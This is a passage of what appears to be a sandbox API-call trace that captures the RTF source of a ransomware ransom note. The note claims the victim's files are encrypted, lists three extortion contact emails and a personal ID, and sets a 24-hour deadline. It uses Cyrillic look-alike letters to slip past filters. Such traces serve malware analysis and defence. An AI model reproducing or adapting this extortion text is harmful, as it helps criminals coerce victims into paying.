h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2732c08, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t 